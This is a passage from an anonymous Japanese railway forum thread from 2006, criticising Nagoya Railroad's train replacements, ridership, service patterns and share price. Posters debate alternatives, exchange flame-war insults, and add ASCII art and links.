354 :名無し野電車区:2006/11/08(水) 18:33:53 ID:TIL3G6dZ
>>351
「批判精神」を「誹謗中傷」に脳内変換する権威主義者乙。

355 :名無し野電車区:2006/11/08(水) 18:38:45 ID:TIL3G6dZ
>>353
>いい加減ガタが来た車両を取り替えるだけでその会社の叩く。

ただの車両取替えだけで済めばいいが、それだけでは済まないことに気づかないのが名鉄権威主義ヲタのデフォルト。
いい加減巣に帰れ。

356 :名無し野電車区:2006/11/08(水) 18:53:17 ID:KoNmhePX
>>355
へえ。自分の頭で考えて意見を述べただけで巣に帰れですか?
随分おめでたい頭してますね。
あなたの言ったことを実行しただけですが?

357 :名無し野電車区:2006/11/08(水) 19:03:53 ID:TIL3G6dZ
>>356

>>353で、
>好きな女に相手にされないからといって、その女の悪口をネットで言い触らすストーカーと
>どこが違うというのか。

このような誹謗中傷に対し、怒りがこみ上げたため、「巣に帰れ」と口走ってしまった。
あなたが、もっとまっとうな議論をすれば、こんな言葉は出てこない。

358 :名無し野電車区:2006/11/08(水) 19:05:13 ID:KoNmhePX
しかし、たった二言で巣に帰れとはID:TIL3G6dZも相当ケツの穴が小さいなppp
つか、むしろ笑えるわ。

まあ、ID:TIL3G6dZは批判精神の威を借りてるだけだな。
しかも、自分に対する批判は受け付けない。

これがID:TIL3G6dZの正体。
ただ単に叩きたいだけ。
批判をする事がカッコイイと思っている厨房。

359 :名無し野電車区:2006/11/08(水) 19:10:49 ID:KoNmhePX
>>357
結局、自分のケツの穴の小ささを認めるわけだな。

本当に>>357と思うのなら名鉄権威主義者と呼んでいる香具師らを受け入れろ。
オレが気に入らんのは、叩くことしか頭になく、とにかく相手を叩きのめすしか頭にない事だ。

受け入れると言う事は負けではない。

360 :名無し野電車区:2006/11/08(水) 22:58:15 ID:UXR4MOTA
まーどの道名鉄が終わっている事に変わりはないけどね〜
沿線も東武並みに低民度wwwwwwwwwwwwwwwwwww

361 :名無し野電車区:2006/11/08(水) 23:23:56 ID:Psi5g9Au
>>353
アンチスレで、なにスカした事書いてんだよ。
バカじゃねーの?

>いい加減ガタが来た車両を取り替えるだけでその会社の叩く
そうか!1600もガタが来てたわけだ!!それとも最初から安物だったのかな?w
車両を取り替えるにあたって、古い車両より優れた車両を導入してくれれば
誰も文句は言わんよ。
ところが名鉄の場合は7500系6両編成→流し台4両編成。SRやPの代わりが
3Rや流し台へ、じゃオタじゃなくともグチの一つも出るぞ。運賃だけは高いままだし。


362 :名鉄マソ:2006/11/08(水) 23:27:03 ID:ORgqm6AB
1000 名前:名無し野電車区[] 投稿日:2006/11/08(水) 22:38:57 ID:y2X5g/xs
1000なら名鉄は倒産、路線廃止!

363 :名無し野電車区:2006/11/08(水) 23:40:57 ID:UXR4MOTA
まぁさ、今の名鉄は空港輸送で丸儲けということしか考えてないからw
空港利用者自体も減少傾向にあるみたいだし。
逆に廃れる状況を見るのも楽しいんじゃない?
どうせ昔のいい意味でハチャメチャとしたあの名鉄は戻ることがないんだから…。

364 :名無し野電車区:2006/11/08(水) 23:51:18 ID:ORgqm6AB
あの素晴らしいバブルをもう一度?

365 :名無し野電車区:2006/11/09(木) 00:14:34 ID:isdphVHq
沿線住民でないので分からないのだけれども。

知多方面の太田川以南や西尾や津島方面などの全指特急→一指特、快急で運用数の合理化
これは末端部の輸送力を強化しても需要は増える事はないと判断したから?
この考えは間違いなの?

妄想でなく、名鉄がやるべき投資って何でしょうか?

アンチでなく、不満に思ってる方達の描く構想など聞かせて下さい。
ただパノラマを残すとしても現状維持?運用を変える案などあれば・・・

366 :名無し野電車区:2006/11/09(木) 00:38:12 ID:0TWGWy6U
てか、西尾方面の全指なんざ、名鉄が電車走らせれば客がついてきた時代の遺物じゃないの?


367 :名無し野電車区:2006/11/09(木) 00:43:43 ID:GFPPUikm
ぶっちゃけバス主体の西鉄より下ってまずくね?

368 :名無し野電車区:2006/11/09(木) 01:05:53 ID:cTa9ioQx
大手私鉄の中で輸送密度が最下位らしいね。
しかし、西鉄よりも下だとは驚いたわ。


369 :名無し野電車区:2006/11/09(木) 01:08:49 ID:OdjWQ8gd
>>368
だって、乗ってくれないもん・・・みんな車で移動さ!

370 :名無し野電車区:2006/11/09(木) 01:18:46 ID:0TWGWy6U
あれだけ閑散路線削ってもまだダメなのかよorz

371 :名無し野電車区:2006/11/09(木) 01:20:15 ID:Ik4Xs1/A
>>370
全線廃止でも困る利用者は皆無。

372 :名無し野電車区:2006/11/09(木) 03:29:00 ID:BSSOUDzI
犬山線と常滑・空港線以外は廃止しても何とかなりそうだもんな〜
この両線が廃止という話になったら江南、岩倉、太田川あたりで暴動が起きるかもね。

373 :名鉄のバカヤロー:2006/11/09(木) 07:33:39 ID:KR3cCg7d
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374 :名無し野電車区:2006/11/09(木) 08:21:14 ID:jGIryOew
味噌鉄は名古屋まで行くのに時間掛かるから、誰も乗らない。スピーディーさが足りないんだよ。枇杷島分岐点過ぎるとタラタラ走りやがって

375 :名無し野電車区:2006/11/09(木) 10:13:35 ID:X8wG9EXC
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376 :名無し野電車区:2006/11/09(木) 11:52:39 ID:KK6iH483
東海様にお願い。高山線と太多線直通の区間快速を走らせて。料金も特定区間設定でポスターはやっぱり「どこよりも」でベタベタと。

377 :名無し野電車区:2006/11/09(木) 11:55:41 ID:kCrbydOp

増車して、がら空きのミュースカイ

さすが名鉄!目の付け所がずれている。
 

378 :名無し野電車区:2006/11/09(木) 12:34:48 ID:K2H7tTd0
輸送密度の話が出たが、名古屋本線・犬山線などが一部の線区は
それなりに高いが、それ以外は輸送密度が低い線区が多いため
結果的に西鉄より低い輸送密度となる訳だ。

379 :名無し野電車区:2006/11/09(木) 14:31:04 ID:Ux7zEXVK
不人気ミュースカイやめて、本線に小田急のMSEを共同増車しろ

380 :名無し野電車区:2006/11/09(木) 14:51:50 ID:xwj2F5lv
ここのアンチ迷鉄の方は引きこもりの倒壊ファンですか?

381 :名無し野電車区:2006/11/09(木) 15:00:26 ID:Ux7zEXVK
不人気四角形信号機やめて、人気の五角形信号機にしろ

382 :名無し野電車区:2006/11/09(木) 15:03:51 ID:TUErELFN
>381
4角型信号機って?

383 :名無し野電車区:2006/11/09(木) 19:01:45 ID:PkXmqbf/
何でもいいんだて!!スレ違いかもしれないが聞いてくれ!
今日名鉄の赤池駅から夜勤明けで地下鉄乗ったんやけど、なんか駅構内が騒がしかったんよ、
何喚いてるのかと改札通ったらいきなり修羅場!!
「はよ出てけや!!こっちは忙しいんじゃ!!
てめぇみたいな酔っ払いにかまっとる暇無いんじゃボケが!!」(駅員)
何が遭ったか知らないけど駅構内で、その言葉のやり取りは無いんじゃないのと思った。
仮にも鉄道職員はサービス業だからねいくら相手に非があったとしても、言葉と態度は選んだほうがいいと思った。
可哀想に近くを通ってた叔母ちゃんは少し竦んでるように見えた。

384 :名無し野電車区:2006/11/09(木) 19:11:34 ID:TUErELFN
赤池の駅って市の交通局の持ち物ではないのか?

>>381
四角信号機ってなんだよ?

385 :名無し野電車区:2006/11/09(木) 20:15:15 ID:0TWGWy6U
市交職員が名鉄以上にDQNなのは今に始まったことじゃない。

386 :名無し野電車区:2006/11/09(木) 20:17:54 ID:6xBtNfCQ
前見たら輸送密度は山陽より低かった

387 :名無し野電車区:2006/11/09(木) 20:54:14 ID:TUErELFN
>>381
もしかして踏切動作反応灯の事か?  五角形ってもしかしてクルクルパーの事か?

388 :名無し野電車区:2006/11/09(木) 21:21:38 ID:Ik4Xs1/A
>>379
座席には是非我が社ののYR483をお使い下さるようよろしくお願いいたします。


                               鞄V龍工業

389 :名無し野電車区:2006/11/09(木) 23:38:31 ID:AbGA25sI
      オ、オ、オワターオワオワオワター♪
      \    オオオオワターオワオオワオワタ/
         ♪\(^o^) ♪
          _  )  > _ キュッキュ♪
        /.◎。/◎。/|
  \(^o^)/.| ̄ ̄ ̄ ̄ ̄|  |  \(^o^)/
    )  )  .|        |/   ノ ノ
((((  > ̄ > )))) \(^o^)/ ((( < ̄< ))))
              )  )
         (((  > ̄ > ))))

390 :名無し野電車区:2006/11/09(木) 23:46:35 ID:DJ9+I6LQ

?????

391 :名無し野電車区:2006/11/10(金) 00:42:09 ID:Y8V0xgub
名鉄のあり方を憂いて現状に苦言を呈した
レスに対して、JR束海厨と言う阿呆がいるな。

内容見ればJR束海をヨイショしている訳じゃ
無いことはすぐ判るだろ。

鉄道が名鉄しかないところも結構あるのに。
名鉄が駄目だから車使う。それが現状だよ。

1970年代から「敵は車」と言い続けていた筈
なのに、空港にオンブにダッコという情けない
体たらく。他力本願じゃ下降線たどるだけ。

392 :名無し野電車区:2006/11/10(金) 01:10:34 ID:ZBTTHoPK
名鉄モウダメポ・・・と言うだけでなく、どのような改善策があるのですか?
現実的に改善できる所はどこでしょうか?

地域事情は異なるかもしれないが、関西私鉄だと線路条件が良いJRに対抗する為に、
中間都市の乗客を拾っていく(優等の多停車、線路改良で速度向上、所要時間を遅らせない)方法があるけど。
マイカー率が高いから中間都市の乗客のパイがそもそも少なくて意味がない?

知多、犬山地区などの観光需要の掘り起こしは非現実?

パノラマスタイルを維持させるメリットは?廃車がもったいなければ、今後どのような施策が必要なのでしょうか

393 :名無し野電車区:2006/11/10(金) 01:21:32 ID:egCiJBKk
まともな対案を出せないのがこのスレ。
案を出しても突飛過ぎて非現実的。
まあ、何もしないよりかまだマシだが。

394 :名無し野電車区:2006/11/10(金) 01:49:37 ID:ZBTTHoPK
パノラマスーパー1600系をμスカイ色に塗装変更して重連で運用は駄目ポ?
内装は空港使用に一部改装しないといけないけど。
2000系新造した方が、旧造車を改造するよりトータルで安いか・・・
空港客が減少傾向(一部の航空便が小牧へシフト)のようだけに、3連仕様が生きると思ったが・・・

395 :名無し野電車区:2006/11/10(金) 03:36:42 ID:9ojrT6Fv
名鉄は車に対抗するとか言って、なんでオールロングシート車ばっか造ったの?
対するJRはオールクロスシートの車両を造って対抗してんのにさ。

396 :名無し野電車区:2006/11/10(金) 06:39:52 ID:ztE7prbf
対案がなきゃ批判するなって言う人怖い。

397 :名無し野電車区:2006/11/10(金) 06:51:29 ID://QNRuwn
余剰となった1600系は通勤型改造すればいいのにw

398 :名無し野電車区:2006/11/10(金) 06:55:50 ID:feofkUbV
何をするにしても20M級、1M2T構成ってのがネックになりそう>1600系
その結果が異例の早期廃車なんだろうけどさ

399 :名無し野電車区:2006/11/10(金) 07:13:26 ID:G8WdyA41
>>396
かつて友達だったヤツがそう俺に言った。
薬を行ってはいけない対策を論理的に批判しろってさ。
すれ違いすまん。

400 :名無し野電車区:2006/11/10(金) 07:29:06 ID:tT2etrap
400ゲット


401 :名無し野電車区:2006/11/10(金) 09:43:05 ID:SaFmHAe/

>>381
もしかして踏切動作反応灯の事か?  五角形ってもしかしてクルクルパーの事か?


402 :名無し野電車区:2006/11/10(金) 09:44:49 ID:sdP0xLG9
ロングシート一般席特急作るより
全車μ席車の1000系1600系をそのまま自由席特急として運用すればいい

403 :名無し野電車区:2006/11/10(金) 09:55:15 ID:CDx8sTEb
一指特急の一般席をロング化してミュー席に高級観を持たせて差別化を図ろうなどと難解の物真似ですか?
難解は高野線という観光資源とベットタウンを独占しているから全指特急も存続できるが...
三河湾、知多半島、犬山...どこもパッとしないなw

404 :名無し野電車区:2006/11/10(金) 10:56:40 ID:OLe003Su
特別車両の差別化をしないと特別料金が取れないんだよ。
特別料金は座席確保に対する料金じゃないんだから。

405 :名無し野電車区:2006/11/10(金) 12:41:49 ID:CDx8sTEb
そしたら1000系4連、1600系を淘汰したあとは1200、1230系を淘汰するか、転クロスを固定化、およびロング改装しないといけないなw

406 :名無し野電車区:2006/11/10(金) 12:44:15 ID:5rxN0Vrc
なんだこの静岡スレを彷彿とさせる流れはw

407 :名無し野電車区:2006/11/10(金) 14:34:08 ID:uNlOzgxp
一宮〜岐阜、客の少なさはマジやばいよ(昼間)

特急4、空港1、急行4、普通4/毎時 
なんてあきらかに過剰だよ

半分位を一宮折り返しにしても大丈夫だよw
一宮以北は、特急2・空港1・急行2・普通4/毎時
くらいでいい

408 :名無し野電車区:2006/11/10(金) 15:29:58 ID:SaFmHAe/
>>403 確かに空港と高野は全指定 本線だけ併結特急で商売になるからな!


>>381
もしかして踏切動作反応灯の事か?  五角形ってもしかしてクルクルパーの事か?

教えてくれ 気になってしょうがない

409 :名無し野電車区:2006/11/10(金) 16:09:56 ID:oyFYWaXJ
今の名鉄って、沿線の宅地開発や、駅周辺の駐車場事業強化などの
鉄道需要を喚起する策はしっかりやっているのかい?


410 :名無し野電車区:2006/11/10(金) 16:17:57 ID:oyFYWaXJ
(409の続き)
従来のように自社で遊園地やレジャー施設作るのはリスクも大きいが、
蒲郡線や西尾線沿線のように開発余地の大きいところは
地元自治体と協力して学校や病院などの公共施設の誘致ができると思うが。

411 :名無し野電車区:2006/11/10(金) 17:11:50 ID:HkGhSkr/
http://company.nikkei.co.jp/indexs.cfm?scode=9048
oIoi

412 :名無し野電車区:2006/11/10(金) 18:55:52 ID:Q8jFEFzk
>>393
こいつは、名鉄がやり出す前に、名無しが駅集中管理システムの案を出したとしても、
「突飛過ぎて非現実的」と言うのだろう。

名鉄の言う案は全て正当。名無しの言う案はすべて非現実的、妄想。
そんな価値基準の奴に、何の対案を言っても無駄。馬鹿馬鹿しい。

413 :名無し野電車区:2006/11/10(金) 19:37:30 ID:qaoGaI9B
http://www.meitetsu.co.jp/profile/news/2006/1176642_1142.html

エイズ蔓延の心配する前に自分トコの株価下落ニ心配しろよ。

414 :名無し野電車区:2006/11/10(金) 19:48:26 ID:19tLlfS5
ミュースカイは、NHKの柿沼郭、みたいなもんだ。





















(ブサイク)

415 :名無し野電車区:2006/11/10(金) 20:09:41 ID:feofkUbV
>>411、413
ここ数週間動向を見てるけど、一昨日今年最安値並び、本日遂に今年最安値を更新したね
何処まで下がるか見ものだわ(多分週明け若干持ち直すだろうけど)

416 :名無し野電車区:2006/11/10(金) 20:30:41 ID:wVO0k8Sg
>>407
正直、空港行き以外の特急は無くてもいいかも。でも、急行はあったほうがいいから、
空港2・急行4・普通4/毎時
でいいと思う。

417 :名無し野電車区:2006/11/10(金) 20:38:00 ID:eQuWmePf
>>407
 そうは言ってもJRと並行区間だし、減らしたら減らしたで不便になって余計
流れるだけだと思うが。>>416特急を急行停車駅にとめるほうが良くない?
>>409
 一応やっているみたいだが宅地開発は今後需要が見込まれないのでマンション
建設中心になる模様。駐車場も増やしてはいる。

418 :名無し野電車区:2006/11/10(金) 20:41:58 ID:TsPA47FC
>>409
JR沿線でマンション建設
ttp://www.m-s-city.com/inazawa/index2.html

419 :名無し野電車区:2006/11/10(金) 20:47:58 ID:19tLlfS5
>>417
あんた不動産に対するセンスないな、
富士山みえないマンションなんかいらん。


420 :名無し野電車区:2006/11/10(金) 20:50:27 ID:19tLlfS5
欲しいのは駅近の
首都圏よりゆったり広めの新築戸建。

421 :名無し野電車区:2006/11/10(金) 21:27:44 ID:UOyzvFaZ
>>409
美浜緑苑が未だに売れ残ってるけど、
あんなド田舎に住もうとは誰も思わんだろうな。

422 :名無し野電車区:2006/11/10(金) 21:55:38 ID:wVO0k8Sg
>>421
近年、「田舎暮らし」が流行ってきてるみたいだから、そのうち売れるかもよ〜。

423 :名無し野電車区:2006/11/10(金) 22:00:51 ID:bvfzThxw
知多半島は、愛知の湘南にすると言って開発始めたころが懐かしいぞ。

424 :名無し野電車区:2006/11/10(金) 22:17:46 ID:qaoGaI9B
>>409
なにをトチ狂ったかこんなわけ判らんとこにマンション建設中。
オマエラは井の中のトノサマガエルみたく名鉄沿線で土地転がしやってりゃあいいんだよ!!!!!!!!
ttp://www.uzu2.com/
http://www.fine295.com/?iad=meitetsu
ttp://www.haseko-hub.co.jp/kansai/sinki/gate-yao/index.htm
ttp://www.nakamozu314.com/
ttp://www.haseko-hub.co.jp/kansai/sinki/hirano244/index.html
ttp://www.haseko-hub.co.jp/kansai/sinki/shinto703/index.html(顔デカオサーンの大声注意!!)
ttp://www.haseko-hub.co.jp/kansai/sinki/vasala/index.html

425 :名無し野電車区:2006/11/11(土) 00:12:36 ID:s7wPiRfE
知多半島開発も本当に終わってるよな。
フォレストパークとか、一回行ったらもういいやって感じだった。
あとあのリゾートマンションも、今じゃバカ安なんでしょ?

426 :名無し野電車区:2006/11/11(土) 00:27:59 ID:QOKoUIis
知多新線なんか本当に終わってる。
当初は行楽客が電車を使っていたが、今じゃほとんど車。
名鉄の赤字路線をひとつ増やしたに過ぎなかった。

427 :名無し野電車区:2006/11/11(土) 00:47:01 ID:juOTaBFc
みーつけた

大阪の暮らしを変えるすっごい町

428 :名無し野電車区:2006/11/11(土) 01:33:32 ID:JX6p9xie
大阪で思い出したけど確か今名古屋って万博特需で大阪より勢いあるんだろ?
それを物にできない名鉄ってどうよ?

429 :名無し野電車区:2006/11/11(土) 02:11:20 ID:ri5NNWJN
あくまでも「名古屋」だけで、愛知県全体では別に・・・、っていう感じジャマイカ?
しかも勢いづいたのは名古屋市の北郊で、名鉄とは関係なさそうだし。

大阪万博があっても南海沿線がそこまで盛り上がらなかったような感じかな。
(ここでも出てくる難解と迷鉄の類似性?)

430 :名無し野電車区:2006/11/11(土) 06:03:09 ID:B5UV/uZ1
>>426
日本福祉大学が無ければ廃止検討対象路線だろうな。

431 :名無し野電車区:2006/11/11(土) 07:06:22 ID:n+fBhq6/
>>426
終端・内海駅が市街地から離れてるのが大きい?
あの位置は南知多方面への延伸を想定しての事かな?
途中で中断して駅を作ったように見えるし・・・
詳しい人おしえて〜

432 :名無し野電車区:2006/11/11(土) 08:38:17 ID:qUI6Umpp
あの感じからすると、当初は師崎まで建設するつもりだったのかもしれないが、
何処にも載っていないので、あくまでも想像ね。

433 :名無し野電車区:2006/11/11(土) 16:28:35 ID:m1RZG9ZP
>>419
 おいおい。私は名鉄の見解を述べただけなんだが。
>>432
 内海駅が櫛形でないのは延長する余地を残しておいたと考えても良いだろうね。

434 :名無し野電車区:2006/11/11(土) 16:47:10 ID:enaVhhf3


435 :名無し野電車区:2006/11/11(土) 17:42:23 ID:VO3TEE7I
>>431
内海駅は元々、現在地より海寄りに建設予定だったが、用地買収に難航したため、
丘陵地寄りの現在地への設置となったみたい。

知多新線全線に言えることだが、市街地や海水浴場のある海沿いに線路を敷いておけば
こんな状態にはならなかったと思う。

436 :名無し野電車区:2006/11/11(土) 20:04:42 ID:E70b/ZqE
>>412
ネット止めれば?
別にお前いなくても関係ないし。

逆に言えば、名鉄がいくらいい事やったとしてもお前は悪くしか言わんだろ。
まともな事はできないと言うのは無しな。



437 :名無し野電車区:2006/11/11(土) 21:11:44 ID:4WdMH2Cd
>>436
>逆に言えば、名鉄がいくらいい事やったとしてもお前は悪くしか言わんだろ。

残念ながら、そんなことはないんでね。
例えば、駅集中管理システムは、やり方さえ間違えなければ評価できると思ってる。
(やり方において、部分批判はあるが。)

ところで、
>ネット止めれば?
は、重大な議論妨害行為だぞ。ネットそのものからの排斥を要求しているからな。
しかもここはアンチスレ。アンチスレで、アンチ発言を排斥する要求だからな。しかも個人攻撃。

438 :名無し野電車区:2006/11/11(土) 21:16:37 ID:E70b/ZqE
>>437
言う気が無ければ止めろと言っただけだが。

>まあ、何もしないよりかまだマシだが。
これを見てないのか?
こっちは聞く気でいるのに、変な御託並べて言わないから、
>>436を書いただけだが。

聞く気でいる人間に対して>>412は馬鹿にしてしか思えん。
だから消えろと言った。

439 :名無し野電車区:2006/11/11(土) 21:24:26 ID:4WdMH2Cd
>>438
嘘八百もいい加減にしろ。
>>393は、どんな案を名無しが言ったところで、
お前は「突飛過ぎて非現実的。まあ、何もしないよりかはまだマシだが。」という。
聞く気でいるというより、名無しの案を叩きたいがために待っているという解釈にしかとれないが?

あと、俺は、このスレで複数、案を言っているから。どれかは言わないが。

440 :名無し野電車区:2006/11/11(土) 21:43:57 ID:E70b/ZqE
>>439
相当な被害妄想をお持ちのようでwwwwwwww

現場を見て、色んな資料を調べ、自分の頭で考えた上で
意見を述べるなら別に文句は言わないし、叩きもしない。
それでも多少のおかしい部分があれば、叩きではなく意見として来る。

まあ、あっちのスレの妄想禁止はそれができんDQNが暴走して荒れたから、
事前に食い止めようという意図はあるな。
それで、妄想に対しアレルギー反応示す香具師が暴れてるから、
妄想ではなくまともな意見が埋もれてしまった。


441 :名無し野電車区:2006/11/11(土) 21:46:55 ID:bblSl3iB
まあまあまあ。

442 :名無し野電車区:2006/11/11(土) 22:28:42 ID:4WdMH2Cd
>>438
もし俺が消えるなら、焼身という形で抗議するつもりしかないがね。

443 :名無し野電車区:2006/11/12(日) 00:38:51 ID:hyxZCDLb
結局、>>442も本スレの香具師らも同じレベルだな。

444 :名無し野電車区:2006/11/12(日) 01:12:12 ID:+QwtxMyJ
>>443

>>438が「消えろ」と言ったため、それに応えただけだが。
文句は>>438に言え。つーか>>443 = >>438か?

445 :名無し野電車区:2006/11/12(日) 01:17:47 ID:hyxZCDLb
>>444
別に答えるのは構わんけど、内容がワロタw
煽り耐性ゼロ。
所詮本スレの香具師らと変わらんよ。

446 :名無し野電車区:2006/11/12(日) 02:57:27 ID:+QwtxMyJ
>>445
焼身と言ったのは、まったくのデタラメではない。
○鉄に対する、そういう思いも、元からちょっぴりあるかもしれない
ということだけを言っておく。

447 :名無し野電車区:2006/11/12(日) 11:08:02 ID:f/45cB5+
流れワロタ

448 :名無し野電車区:2006/11/12(日) 11:24:32 ID:2YtKCwwo
何このグダグダ

449 :名無し野電車区:2006/11/12(日) 13:01:09 ID:UiLseIdz
>>248
最後のだけは絶対あり得ないなw

450 :名無し野電車区:2006/11/12(日) 13:09:14 ID:hyxZCDLb
>>446
いい加減自分が イ タ イ 人 間 である事に気付け。
ネタだろうが本気だろうがそういう考えに行く時点で終わっとる。

451 :名無し野電車区:2006/11/12(日) 14:45:47 ID:V3J8T3lb
火病った?

452 :名無し野電車区:2006/11/13(月) 03:34:45 ID:KsTu6pQF
名鉄って『ダメ』な私鉄の代表格ですね。

453 :名無し野電車区:2006/11/13(月) 05:23:46 ID:7hLvBUr2
冥王星鉄道
迷惑鉄道
冥土鉄道
名ばかりの大会社鉄道

好きなのを選べ

454 :名無し野電車区:2006/11/13(月) 10:55:57 ID:RR/VKtNp



























455 :名無し野電車区:2006/11/13(月) 14:54:17 ID:ehdAA4MX
大手地方私鉄

456 :名無し野電車区:2006/11/13(月) 15:59:07 ID:2UkayXVv
そうです、名鉄は大いなる地方鉄道ですw

いちど、カルロス・ゴーンみたいなしがらみのない人間に来てもらって
「捨てるものは捨てる、育てるモノは徹底的に投資する」って
ふりわけをしてもらいたい

457 :名無し野電車区:2006/11/13(月) 15:59:08 ID:w5vyIrIU
名鉄の経営陣が最近シビアなのはわかるが、
子会社も同じようにシビアにやる方針なのかな?
大井川鉄道なんて、全線廃止になってしまいそうで心配。

458 :名無し野電車区:2006/11/13(月) 17:32:30 ID:d8gOG6ju
本家がそういう方針だからといって、子会社も全て同じとは決していえないけど、
一部の子会社はそうなんじゃないかな。

459 :名無し野電車区:2006/11/13(月) 18:59:49 ID:ECN0SA90
2020年

隣と揃ってもう鉄道企業としての魅力が無くなった

460 :名無し野電車区:2006/11/13(月) 19:39:53 ID:7czDJJfi
>>456
>「捨てるものは捨てる、育てるモノは徹底的に投資する」

これは大事だよね。経営が厳しいのは分かるけど、徹底したコストカット重視も・・・
経営側にとって車両面では、低コスト新鋭車への統一化は保守保安統一できるし、
保有車両の削減(ロング短編成詰込み) はわかるけど。
せめて看板だったパノラマ・ブランドだけは継承してほしかったね・・・

2000・2200系デザインが次世代特急車のデザインになった以上、もうダメポ・・・


461 :名無し野電車区:2006/11/13(月) 20:51:12 ID:iwWSc3r0
heiehi

462 :名無し野電車区:2006/11/13(月) 20:59:10 ID:sh8+vUcl
http://minomachisen-rp.dreamblog.jp/



463 :名無し野電車区:2006/11/13(月) 21:09:59 ID:Y3m1CfSj
>>460
何でもかんでもコストカット。これはどこの企業でも最近取り組んでたりする訳だけど
その先頭を走ってたトヨタの製品品質が現在どういう状態かを見てもらうと必ずしも正しい選択とは言えないかと
>>462
岐阜県が必死になって路面電車を潰し当時の名鉄社長が激怒
こんな状態で復活する訳が無い
そんなこんなで今日も株価の下落が止まりません

464 :名無し野電車区:2006/11/13(月) 21:30:20 ID:SYZVb454
不正改造の夏、日本の夏厨。
┌───┐
|llllllllllll|   
|     | 〜
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└┬┬─┘
.:| . :|     .! .l .l .i::l
.:| .__|     :| .i .i .|.:!     _,  | |
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            >>1           ,、
   「 ̄ l (豆) l ̄ ̄ ̄ ̄l「 ̄ ̄ ̄  `7
   l   l「 ̄¨! l  l ̄l  !、===、ーァ  /
    !   ,ハ   !l  l  l  ! ヽ   V ノ
  /   /  l   l!  ‘‐┘  !  ヽ  く 
  'ー一’ └─┴ーー──┘  `ー┘
       ,r──‐i  ,.-─- 、
      r' ,r‐─┘/ ,r‐-、 ヽ
      {  {.     .{. {    }. }
      !、 `‐─┐゙、 `‐-‐' ,ノ
       `'''ー─┘ `'ー--‐''′
ドォドドォドドォン…


465 :名無し野電車区:2006/11/13(月) 23:48:38 ID:MtYb6rSM
コストカットのつもりが、リストカットにならなければよいが−名鉄

466 :名無し野電車区:2006/11/13(月) 23:54:58 ID:7czDJJfi
>>463
ならばどうすれば良いの?
特別車専用車は空港輸送に特化させ、
そのほかは末端部を急行廃止で一部指定特急が補完するような運用(もしかしたら、先述の岐阜〜一宮間も?)が予想されるが
車種の統一して運用合理化を図ったとして(省人化も含め)、たとえ新生・名鉄wとして再スタートを切ったとして、
新たなサービスを開拓できる事はあるのだろうか・・・現状維持をなんとかして踏ん張り、ジリ貧が精一杯か・・・・さらなる枝線リストラも・・・

京阪神私鉄も都心のパイが大きいとはいえ、人口減少が続く未来に、頭を悩ませている状況だけど。。。。
阪急スレ?かで、まだ通勤需要が多くある中で、定期客の為のラッシュ対策に力を入れず(最低限のラッシュ対策、JRにそちらはお任せ・・・)
いかに日中の非定期客を取り込むか。。。を聞いたけど。
名鉄はそこらへんはどうなの?


467 :名無し野電車区:2006/11/14(火) 00:04:28 ID:SVwFjD80
>>466
>ならばどうすれば良いの?
このスレは「名古屋鉄道アンチスレ」なので、どうしたら良くなるなんて考えません。
どうしたら良くなるかは、「名古屋鉄道73号車」スレでお話下さい。

468 :名無し野電車区:2006/11/14(火) 00:29:21 ID:PFzRYwAc
>>463
岐阜市長だろ路面電車潰したのは
それに19億なんて金を名鉄は要求してたけどそんなのが自治体に払えると思ってたのかい?本当に渡す気あったのかい?
岐阜市長はライトレールの繁盛を知って「やっぱやってもいい」みたいな事を言い出したけどもう遅い
施設の撤去は始まっている
あと大野町長と関・美濃市長は反対したんじゃなかったか?

469 :名無し野電車区:2006/11/14(火) 00:50:53 ID:e46JPXcV
どうすればいいかなんて分からなきゃサービス業失格だろうな。
となりの倒壊が答えを出しているじゃないか。
高品質、高速、安価なサービス。吉野家ではないが、これに尽きるのではないか?          
金が無い今の名鉄にはそんなの不可能と言うかもしれないけどさ、
金が無いなら知恵を絞るしかないんであって。考えてみれば名鉄の車両はこの10年位、
コストをかけなくても、いかに高品質を追求するかってところがもの凄く甘いと思うよ。
ただ安っぽいだけの電車ばっかなんだな。
倒壊313や、束走るんですだって、安いんだろうけどそうは見せないようにすごく工夫したり、
ここはと言うトコに金をかけていると思う。
対して名鉄は知恵を絞らずに素人の客にもコスト削減がミエミエだもの。
だから逃げられるんだよ。いまだに客をなめてるんだな、きっと。

470 :名無し野電車区:2006/11/14(火) 01:07:14 ID:uOT2LheV
そう言えば、名鉄って鉄道の日のシーズンでもこれと言って何も一般にアピールできるイベントしないね。
関西ではほとんどの会社がメインの検修工場を一般公開してる(阪急は事前抽選、阪神だけやってない)が、
名鉄も舞木でイベントやりゃあいいのに。結構な「小銭稼ぎ」になると思うんだけど。

471 :名無し野電車区:2006/11/14(火) 01:08:44 ID:Xm/pdMPB
「ミュージックホーンでサンバ」みたいなCDを売り出すとか、財産を活用して工夫すりゃいいのに。

472 :名無し野電車区:2006/11/14(火) 03:19:21 ID:h9fyFgY/
>>471
CD売るにも費用が掛かる。それに、とても売れる代物でもないだろう。
不良在庫を抱えるのが関の山だ。
まあ、不良在庫といえども会計上は財産になるがな。
CDを軒先からぶら下げて、鳩除けにでも使うか?

473 :名無し野電車区:2006/11/14(火) 07:02:53 ID:Rm5tuNWW
>>469
ステンレスの材料となるニッケルが昨年と比較して8割ほど値上がりしてるらしい
原油価格も同様に値上がり。
結果、ステンレスの価格自体も値上がりするみたい

ただでさえ露骨なコストダウンで安かろう、悪かろうな車両を導入してる訳だが
来年以降導入される車両に、この値上げの影響が出るかもしれんね
乗客に関わる部分を真っ先に削ってきたんだから…

474 :名無し野電車区:2006/11/14(火) 12:01:05 ID:P+ABa7pm
>>468
確かに反対したな。
どうぜ自分のところは金出さないから。

475 :名無し野電車区:2006/11/14(火) 15:17:37 ID:C+cwmHU+
>>470
検修工場の一般公開で「小銭稼ぎ」になる根拠は具体的になんなの?
一般人が工場に来る以上は、会場の設営や見学ルートの安全確保が必要だし
職員だって無償ボランティアで駆り出されるわけでもあるまい。

あくまで広報活動の一環で、到底収益が見込めるものとは思えないね。
舞木の工場見学をしたいんなら「小銭稼ぎ」なんて姑息な表現せず、
素直に「工場の一般公開をして欲しい」って言えばいいんだよ。

476 :名無し野電車区:2006/11/14(火) 16:29:57 ID:IgrAA8Mb
何故名鉄が一般公開をしないかって?
そりゃぁヲタの態度が悪いからだよw
一昔前は犬山などで一般公開をしていたけど、ヲタのマナーや態度が著しく悪いから
やらなくなってしまったのだよ。

まーパノラマカーが無くなる以上、本当に魅力的な私鉄じゃ無くなるわけだし、
一般公開をしようがしなかろうがどうでもいいけどw

477 :名無し野電車区:2006/11/14(火) 17:29:28 ID:1C8zJbFg
